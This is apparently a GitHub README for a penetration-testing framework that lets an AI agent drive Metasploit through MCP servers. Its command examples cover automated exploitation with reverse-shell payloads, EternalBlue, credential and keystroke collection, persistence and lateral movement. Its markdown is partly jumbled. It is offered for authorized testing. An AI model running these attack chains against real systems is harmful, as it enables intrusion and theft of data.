Content
# Pentest Automation Framework (滲透測試自動化框架)
[](https://github.com/alex-chh/pentest-automation-framework-2025)
[](https://python.org)
[](LICENSE)
[](Dockerfile)
## 🎯 Project Overview
This is a complete penetration testing automation framework that deeply integrates **Metasploit** and **GitHub MCP** functionalities, providing an end-to-end penetration testing solution. The framework adopts a modular design, supporting a fully automated process from target discovery to report generation, suitable for professional penetration testing, security assessments, and red team exercises.
### 🌟 Core Highlights
- 🔥 **Deep Metasploit Integration**: Complete exploitation, payload generation, and session management
- 📊 **Intelligent Reporting System**: Multi-format report generation (HTML/PDF/JSON/XML)
- 🐳 **Containerized Deployment**: Full support for Docker and Docker Compose
- 🔗 **GitHub Integration**: Automatic report uploads and version control
- 🛡️ **Security Compliance**: Built-in security checks and audit logs
- 🔧 **Extensibility Design**: Modular architecture supports plugins and custom extensions
## 🏗️ Completed Core Features
### 📦 Framework Architecture (9,858+ lines of code)
#### 🔧 Core Modules (`src/core/`)
- **Main Framework Class**: Complete penetration testing process management
- **Configuration Management**: Flexible configuration system and environment variable support
- **Logging System**: Structured logging and audit trail
#### 🗄️ Database Module (`src/database/`)
- **Multi-database support**: SQLite (development) / PostgreSQL (production)
- **Data model**: Complete penetration testing data structure
- **Migration system**: Automated database version management
#### 🔍 Scanner Module (`src/scanners/`)
- **Network Scanning**: Nmap integration and port discovery
- **Vulnerability Scanning**: Automated vulnerability identification and classification
- **Service Identification**: Deep service fingerprinting
#### 💥 Exploit Modules (`src/exploits/`)
- **Metasploit Integration**: Complete MSF RPC client
- **Payload Management**: Automatic payload generation and deployment
- **Session Management**: Meterpreter session control
#### 🎯 Post-Exploitation Module (`src/post_exploit/`)
- **Data Collection**: System information and sensitive data extraction
- **Privilege Escalation**: Automated privilege escalation attempts
- **Persistence**: Backdoors and persistence mechanisms
#### 🔗 MCP Integration Modules (`src/integrations/`)
- **Metasploit MCP**: Deep MSF functionality integration
- **GitHub MCP**: Automatic report upload and version control
- **API Client**: Unified external service interface
#### 🛠️ Tool Module (`src/utils/`)
- **Network Tools**: IP processing, port scanning, protocol analysis
- **Encoding Tools**: Base64, URL, hexadecimal encoding
- **Payload Generation**: Custom payload and Shellcode generation
### 🎛️ Main Features
#### 🤖 Automated Penetration Testing Process
- Target Discovery and Verification
- Vulnerability Scanning and Analysis
- Automated Exploitation
- Post-Exploitation Operations
- Report Generation and Upload
#### 📊 Multi-format Report Generation
- **HTML Report**: Interactive web report
- **PDF Report**: Professionally formatted document
- **JSON/XML**: Structured data output
- **Custom Templates**: Configurable report formats
#### 🐳 Containerized Deployment
- **Docker Support**: Single Container Deployment
- **Docker Compose**: Multi-Service Orchestration
- **Microservices Architecture**: PostgreSQL + Redis + Nginx
- **Monitoring Integration**: Grafana + Prometheus + ELK Stack
#### 🔒 Security and Compliance
- **Audit Logs**: Complete operation records
- **Access Control**: Role-based access control
- **Data Encryption**: Protection of sensitive data
- **Compliance Checks**: Automated compliance verification
## 📁 Project Structure
```
pentest-automation-framework/
├── README.md # Project description document
├── requirements.txt # Python dependencies (77 selected packages)
├── setup.py # Installation configuration and package management
├── main.py # Main program entry and CLI interface
├── .env.example # Environment variable configuration template
├── .gitignore # Git ignore rules
├── Dockerfile # Docker container configuration
├── docker-compose.yml # Multi-service orchestration configuration
├── Makefile # Automation for build and deployment
├── src/ # Source code directory (9,858+ lines)
│ ├── __init__.py
│ ├── core/ # Core framework modules
│ │ ├── framework.py # Main framework class
│ │ ├── config.py # Configuration management
│ │ └── logger.py # Logging system
│ ├── database/ # Database modules
│ │ ├── models.py # Data models
│ │ └── manager.py # Database management
│ ├── scanners/ # Scanner modules
│ │ ├── network.py # Network scanning
│ │ └── vulnerability.py # Vulnerability scanning
│ ├── exploits/ # Exploit modules
│ │ ├── manager.py # Exploit management
│ │ └── metasploit.py # MSF integration
│ ├── post_exploit/ # Post-exploitation modules
│ │ ├── data_collection.py # Data collection
│ │ └── persistence.py # Persistence
│ ├── integrations/ # MCP integration modules
│ │ ├── metasploit_mcp.py # Metasploit MCP
│ │ └── github_mcp.py # GitHub MCP
│ └── utils/ # Utility modules
│ ├── network.py # Network utilities
│ ├── encoding.py # Encoding utilities
│ └── payload.py # Payload generation
└── reports/ # Report output directory
```
## 🚀 GitHub Deployment
The project has been successfully deployed to GitHub:
**🔗 [https://github.com/alex-chh/pentest-automation-framework-2025](https://github.com/alex-chh/pentest-automation-framework-2025)**
### 📈 Deployment Statistics
- ✅ **19 core files** have been submitted
- 📝 **9,858+ lines of code** implemented
- 🏷️ **77 dependency packages** selected configuration
- 🐳 **Full containerization** support
- 📚 **Complete documentation** and configuration
## 🛠️ Installation and Configuration
### 📋 Environment Requirements
- **Python**: 3.8+ (recommended 3.11)
- **Metasploit Framework**: Latest version
- **Docker**: 20.10+ (optional, for containerized deployment)
- **Git**: Version control
- **Operating System**: Linux/macOS/Windows
### ⚡ Quick Start
#### Method 1: Direct Installation
```bash
# 1. Clone the Project
git clone https://github.com/alex-chh/pentest-automation-framework-2025.git
cd pentest-automation-framework-2025
# 2. Quick Start (Using Makefile)
make quick-start
# Or Manual Installation
pip install -r requirements.txt
cp .env.example .env
# Edit .env Configuration Necessary Parameters
python main.py --help
```
#### Method 2: Docker Deployment
```bash
# 1. Clone the Project
git clone https://github.com/alex-chh/pentest-automation-framework-2025.git
cd pentest-automation-framework-2025
# 2. Docker Compose Start
docker-compose up -d
# 3. Check Service Status
docker-compose ps
```
### 🎯 Usage
#### Command Line Interface (CLI)
```bash
# Complete Penetration Testing Process
```bash
python main.py full --targets 192.168.1.0/24 --output reports/
```
# Scan Only
python main.py scan --targets 192.168.1.100 --scan-type comprehensive
# Exploit
python main.py exploit --target 192.168.1.100 --exploit-db
# Generate Report
python main.py report --input results.json --format html,pdf
# Start the Web Interface
```bash
python main.py web --host 0.0.0.0 --port 8080
```
#### Makefile Shortcuts
```bash
# Quick Start
make quick-start
# Run Tests
make test
# Start the Web Interface
make run-web
# Docker Deployment
make docker-build
make docker-run
# Clean Environment
make clean
```
#### Python API Usage
```python
from src.core.framework import PentestFramework
from src.integrations.metasploit_mcp import MetasploitMCP
from src.integrations.github_mcp import GitHubMCP
```
# Initialize Framework
framework = PentestFramework()
# Configuration Targets and Options
targets = ['192.168.1.100', '192.168.1.101']
options = {
'scan_type': 'comprehensive',
'exploit_level': 'safe',
'generate_report': True,
'upload_to_github': True
}
# Execute Automated Penetration Testing
results = framework.run_automated_pentest(
targets=targets,
**options
)
# Processing Results
print(f"Scan completed: {len(results.hosts)} hosts")
print(f"Vulnerabilities found: {len(results.vulnerabilities)}")
print(f"Successfully exploited: {len(results.exploited)}")
# Generate and Upload Report
```python
report_path = framework.generate_report(results, format='html')
framework.upload_to_github(report_path)
```
## 🔧 MCP Integration Configuration
### 🎯 Metasploit MCP Features
- **🔍 Vulnerability Scanning**: Automated Nmap and MSF auxiliary modules
- **💥 Exploitation**: Intelligent vulnerability matching and automated attacks
- **🚀 Payload Generation**: Multi-platform payload generation and encoding
- **🎮 Session Management**: Meterpreter session control and command execution
- **📡 Listener Management**: Automated Handler configuration and management
- **🔧 Post-Exploitation**: Automated execution of post-exploitation modules
### 📊 GitHub MCP Features
- **📝 Report Management**: Automatic upload of penetration testing reports
- **🔄 Version Control**: Version management of test results and configurations
- **👥 Team Collaboration**: Multi-user collaboration and result sharing
- **📋 Issue Tracking**: Management of vulnerabilities and fix suggestions as Issues
- **🏷️ Tagging System**: Classification of test types and severity levels
- **📈 Statistical Analysis**: Analysis of testing history and trends
### ⚙️ Configuration Example
```bash
# .env Configuration File
METASPLOIT_HOST=localhost
METASPLOIT_PORT=55553
METASPLOIT_USER=msf
METASPLOIT_PASS=password
GITHUB_TOKEN=ghp_xxxxxxxxxxxx
GITHUB_OWNER=your-username
GITHUB_REPO=pentest-reports
DATABASE_URL=postgresql://user:pass@localhost/pentestdb
REDIS_URL=redis://localhost:6379/0
```
## 📊 Practical Usage Examples
### 🎯 Complete Penetration Testing Process
```python
from src.core.framework import PentestFramework
from src.integrations.metasploit_mcp import MetasploitMCP
from src.integrations.github_mcp import GitHubMCP
```
# Initialize Framework and MCP Client
framework = PentestFramework()
msf_client = MetasploitMCP()
github_client = GitHubMCP()
# 1. Target Discovery and Scanning
targets = framework.discover_targets('192.168.1.0/24')
scan_results = framework.comprehensive_scan(targets)
# 2. Vulnerability Analysis and Exploitation
vulnerabilities = framework.analyze_vulnerabilities(scan_results)
exploit_results = framework.auto_exploit(vulnerabilities)
# 3. Post-Exploitation Operations
for session in exploit_results.active_sessions:
post_data = framework.post_exploitation(session)
# 4. Report Generation and Upload
report = framework.generate_comprehensive_report({
'scan_results': scan_results,
'vulnerabilities': vulnerabilities,
'exploit_results': exploit_results,
'post_exploit_data': post_data
})
# 5. Automatic Upload to GitHub
github_client.upload_report(report,
repo='pentest-reports',
branch=f'pentest-{datetime.now().strftime("%Y%m%d")}')
print(f"✅ Penetration test completed:")
print(f" 📡 Scanned hosts: {len(targets)}")
print(f" 🔍 Vulnerabilities found: {len(vulnerabilities)}")
print(f" 💥 Successful exploits: {len(exploit_results.successful)}")
print(f" 📊 Report uploaded: {report.github_url}")
## 🎯 10 Practical Penetration Testing Exploitation Examples
Here are 10 practical and executable penetration testing exploitation examples based on this framework, covering various stages from network discovery to the complete attack chain:
### 🔍 Network Scanning and Discovery Class
#### 1. Quick Network Discovery
```bash
```
# Discover Active Hosts and Open Ports in the Intranet
python main.py scan -t 192.168.1.0/24 --scan-type quick
```
**Purpose**: Quickly identify active devices on the network, suitable for the initial reconnaissance phase.
#### 2. Deep Vulnerability Scanning
```bash
```
# Comprehensive Vulnerability Identification for Specific Targets
```bash
python main.py scan -t 192.168.1.100 --scan-type comprehensive --vuln-scan
```
**Purpose**: To conduct an in-depth analysis of the target system's security status and identify potential attack vectors.
#### 3. Service Fingerprint Recognition
```bash
# Identifying the Service Version and Operating System of the Target System
```bash
python main.py scan -t 192.168.1.1-50 --service-detection --os-detection
```
**Purpose**: Collect detailed information about the target system to prepare for subsequent attacks.
### 💥 Vulnerability Exploitation and Attack Types
#### 4. Automated Exploitation
```bash
# Automatically Select the Appropriate Exploit Module Attack Target
python main.py exploit -t 192.168.1.100 --auto --payload windows/meterpreter/reverse_tcp
```
**Purpose**: Smartly match and execute the most suitable exploit to increase the success rate
```
#### 5. SMB Vulnerability Exploitation (EternalBlue)
```bash
# Exploiting the EternalBlue Vulnerability to Gain System Privileges
```bash
python main.py exploit -t 192.168.1.100 --module ms17_010_eternalblue --lhost 192.168.1.50
```
**Purpose**: Execute a classic SMB vulnerability attack against unpatched Windows systems.
#### 6. Web Application Vulnerability Exploitation
```bash
# Performing SQL Injection and XSS Attacks on Web Applications
python main.py exploit -t http://192.168.1.100:8080 --web-exploit --sqli --xss
```
**Purpose**: Automate web application security testing to identify common web vulnerabilities
```
### 🎯 Post-penetration and Data Collection Category
#### 7. Privilege Escalation
```bash
# Privilege Escalation and Information Gathering in an Acquired Session
```bash
python main.py post --session-id 1 --privilege-escalation --gather-system-info
```
**Purpose**: Attempt to escalate privileges and gather system information after gaining initial access.
#### 8. Sensitive Data Collection
```bash
# Collecting Sensitive Data and Credentials from the Target System
```python
python main.py post --session-id 1 --collect-passwords --collect-files --keylogger
```
**Purpose**: Extract sensitive information such as passwords, files, and keyboard logs from the target system.
### 🔄 Complete Process and Advanced Attack Types
#### 9. End-to-End Penetration Testing
```bash
# Execute the Complete Penetration Testing Process: Scan → Exploit → Post-Exploitation → Report Generation
```bash
python main.py full -t 192.168.1.0/24 --output-dir ./pentest_results --report-format html
```
**Purpose**: Execute the complete penetration testing process with one click, suitable for comprehensive security assessments.
#### 10. Red Team Exercise Simulation
```bash
# Simulating APT Attacks, Including Stealth, Persistence, and Lateral Movement
python main.py full -t company.com --stealth-mode --persistence --lateral-movement
```
**Purpose**: Simulate Advanced Persistent Threat (APT) attacks to test the organization's detection and response capabilities
```
### 📊 Report Generation and Management
#### Additional Features: Multi-format Professional Reports
```bash
# Generate Professional Penetration Testing Reports
python main.py report --target 192.168.1.100 --format html,pdf,json --template executive
```
**Purpose**: To generate professional reports in different formats for management and technical teams.
### ⚠️ Usage Notes
- **🏛️ Legal Authorization**: Use these examples only in environments where explicit authorization has been obtained.
- **🧪 Testing Environment**: It is recommended to practice and validate in a virtual lab environment first.
- **📝 Logging**: The framework automatically logs all operations for auditing and analysis purposes.
- **🛡️ Security Compliance**: Strictly adhere to relevant laws, regulations, and ethical guidelines.
- **🔄 Continuous Learning**: Regularly update knowledge and skills to keep up with the evolution of security threats.
These examples demonstrate the powerful capabilities of the framework, from basic scanning to advanced APT (Advanced Persistent Threat) simulation, providing a complete solution for professional penetration testing. 🛡️
### 🔧 Advanced Configuration Example
```python
# Custom Scan Configuration
scan_config = {
'nmap_options': '-sS -sV -O --script vuln',
'timeout': 300,
'threads': 10,
'exclude_ports': [22, 443],
'custom_scripts': ['http-enum', 'smb-enum-shares']
}
# Custom Exploit Configuration
exploit_config = {
'safety_level': 'safe', # safe, normal, aggressive
'auto_migrate': True,
'cleanup': True,
'max_sessions': 5,
'payload_encoder': 'x86/shikata_ga_nai'
}
# Execute Configured Test
```python
results = framework.run_configured_test(
targets=['192.168.1.100'],
scan_config=scan_config,
exploit_config=exploit_config
)
```
## 🔒 Security Considerations
### ⚠️ **Important Warning**
- **🏛️ Legal Compliance**: Use only in environments with explicit written authorization
- **🌍 Legal Responsibility**: Strictly adhere to local laws and regulations as well as international cybersecurity laws
- **🚫 Prohibition of Abuse**: Strictly forbidden for unauthorized malicious attacks or illegal activities
- **🔄 Regular Updates**: Regularly update frameworks and security configurations to guard against new threats
- **📝 Audit Records**: Maintain complete testing records and audit logs
- **🔐 Data Protection**: Properly protect sensitive information obtained during the testing process
### 🛡️ Built-in Security Mechanisms
- **Access Control**: Role-Based Access Control (RBAC)
- **Audit Logs**: Complete operation records and timestamps
- **Data Encryption**: Encryption for transmission and storage of sensitive data
- **Session Management**: Secure session creation and cleanup mechanisms
- **Compliance Checks**: Automated compliance verification and reporting
### 📋 Pre-Usage Checklist
- [ ] Written testing authorization has been obtained for the target system
- [ ] Relevant laws and regulations have been understood and complied with
- [ ] Appropriate testing scope and limitations have been configured
## 🔗 Detailed Explanation of MCP Integration Features
This framework integrates two important MCP (Model Context Protocol) servers, providing powerful automation and management capabilities for penetration testing:
### 🎯 **Metasploit MCP Integration Features**
**Core Capabilities:**
- **Exploit Management**: Automatically list, search, and execute Metasploit's exploit modules
- **Payload Generation**: Support for creating payloads in various formats (exe, python, raw, etc.) and platforms
- **Session Management**: Manage active Meterpreter and Shell sessions, execute commands, and control
- **Listener Control**: Start and stop various types of handler listeners
- **Post-Exploitation Modules**: Execute post-exploitation tasks such as system information gathering and privilege escalation
- **Auxiliary Modules**: Run scanners, brute force attacks, and other auxiliary tools
**Practical Assistance:**
- Query Metasploit features using natural language (e.g., "list all Windows SMB exploits")
- Automate the complete attack chain: from scanning → exploitation → post-exploitation → data collection
- Support for cross-platform deployment (Windows Trae AI ↔ Kali Linux Metasploit)
- Provide HTTP API interface for remote Metasploit control
### 📊 **GitHub MCP Integration Features**
**Core Capabilities:**
- **Repository Management**: Create, search, and manage penetration testing project repositories
- **File Operations**: Upload test reports, configuration files, and payloads to GitHub
- **Issue Tracking**: Automatically create Issues for vulnerability reports and test results
- **Version Control**: Manage version iterations of penetration testing scripts and tools
- **Collaboration Features**: Create Pull Requests for code reviews and team collaboration
- **Report Publishing**: Publish penetration testing reports in HTML/PDF format to GitHub Pages
**Practical Benefits:**
- **Automated Report Management**: Automatically upload reports to the designated repository after testing is completed
- **Vulnerability Tracking**: Automatically create a GitHub Issue for each discovered vulnerability, including detailed information
- **Team Collaboration**: Centralized management of code and reports for multi-person penetration testing projects
- **Compliance Records**: Complete version control of the testing process and results to meet audit requirements
### 🔄 **Integration Advantages**
**Workflow Automation:**
1. **Scanning Phase**: Use Metasploit MCP to perform network scanning and vulnerability identification
2. **Exploitation Phase**: Automatically select and execute the appropriate exploit module
3. **Post-Exploitation Phase**: Collect system information, escalate privileges, and move laterally
4. **Reporting Phase**: Automatically generate and publish test reports using GitHub MCP
5. **Tracking Phase**: Create GitHub Issues for each discovered vulnerability for follow-up
**Technical Architecture:**
```
┌─────────────────┐ HTTP/8085 ┌─────────────────┐ RPC/55553 ┌─────────────────┐
│ Windows │◄──────────────►│ Kali Linux │◄──────────────►│ Metasploit │
│ (Trae AI) │ │ (MetasploitMCP)│ │ Framework │
│ 10.0.0.85 │ │ 172.31.44.17 │ │ 127.0.0.1 │
└─────────────────┘ └─────────────────┘ └─────────────────┘
│
│ GitHub API
└─────────────────────────────────────────────────────────────────────►
(Report Upload/Issue Tracking)
```
**Practical Value:**
- **Efficiency Improvement**: Transform manual operations into automated processes, significantly reducing testing time
- **Standardization**: Unified testing processes and report formats enhance professionalism
- **Traceability**: Complete operation records and version control facilitate auditing and reproduction
- **Team Collaboration**: Support for multiple users conducting penetration testing projects simultaneously
- **Compliance Support**: Automatically generate test reports and documentation that meet industry standards
This integration solution transforms traditional manual penetration testing into an intelligent, automated modern security testing platform, greatly enhancing the efficiency and professionalism of penetration testing.
- [ ] Secure testing environment has been set up
- [ ] Incident response and recovery plans have been prepared
## 📊 Dependency Management
### 🐍 Python Dependencies (77 Selected Packages)
```bash
# Core Framework
flask>=2.3.0
fastapi>=0.104.0
sqlalchemy>=2.0.0
pydantic>=2.5.0
# Penetration Testing Tools
nmap>=0.7.1
scapy>=2.5.0
impacket>=0.11.0
requests>=2.31.0
# MCP Integration
github3.py>=4.0.1
python-dotenv>=1.0.0
aiohttp>=3.9.0
# Report Generation
jinja2>=3.1.0
reportlab>=4.0.0
matplotlib>=3.8.0
# Complete list can be found in requirements.txt
```
## 🐳 Docker Deployment Details
### Service Architecture
- **Main Application**: Python 3.11 + Penetration Testing Framework
- **Database**: PostgreSQL 15 (Production) / SQLite (Development)
- **Cache**: Redis 7.2
- **Proxy**: Nginx (Reverse Proxy and Load Balancing)
- **Monitoring**: Grafana + Prometheus
- **Logging**: Elasticsearch + Kibana
- **Optional**: Metasploit Service Container
### Port Configuration
- **8080**: Web Interface (HTTP)
- **8443**: Web Interface (HTTPS)
- **4444-4500**: Metasploit Listener Port Range
- **5432**: PostgreSQL Database
- **6379**: Redis Cache
- **9200**: Elasticsearch
- **5601**: Kibana Interface
## 📝 License
**MIT License** - See the [LICENSE](LICENSE) file for details.
## 🤝 Contribution Guidelines
We welcome code contributions and improvement suggestions!
### Contribution Process
1. Fork this repository
2. Create a feature branch (`git checkout -b feature/amazing-feature`)
3. Commit your changes (`git commit -m 'Add amazing feature'`)
4. Push to the branch (`git push origin feature/amazing-feature`)
5. Create a Pull Request
### Development Guide
- Follow PEP 8 code style
- Add appropriate test cases
- Update relevant documentation
- Ensure all tests pass
## 📞 Support and Contact
- **📚 Project Documentation**: [GitHub Repository](https://github.com/alex-chh/pentest-automation-framework-2025)
- **🐛 Issue Reporting**: [GitHub Issues](https://github.com/alex-chh/pentest-automation-framework-2025/issues)
- **💬 Discussion**: [GitHub Discussions](https://github.com/alex-chh/pentest-automation-framework-2025/discussions)
- **📧 Contact**: Via GitHub Issues or Discussions
## 🏆 Acknowledgments
Thanks to the following open-source projects and communities for their support:
- [Metasploit Framework](https://github.com/rapid7/metasploit-framework)
- [Nmap](https://nmap.org/)
- [Python Security Tools](https://github.com/topics/python-security)
- [MCP Protocol](https://modelcontextprotocol.io/)
### 📋 Disclaimer
**⚠️ Important Reminder**: This tool is intended for **educational purposes** and **authorized security testing** only. Users must:
1. **Obtain explicit authorization** before testing any system
2. **Comply with all applicable laws and regulations**
3. **Assume full responsibility** for the use of this tool
4. **Not use this tool for any illegal or malicious purposes**
The developers are not responsible for any misuse or abuse of this tool. By using this tool, you agree to the above terms.
---
**🚀 Start your security testing journey now!**
[](https://github.com/alex-chh/pentest-automation-framework-2025)
[](https://github.com/alex-chh/pentest-automation-framework-2025/blob/main/README.md)
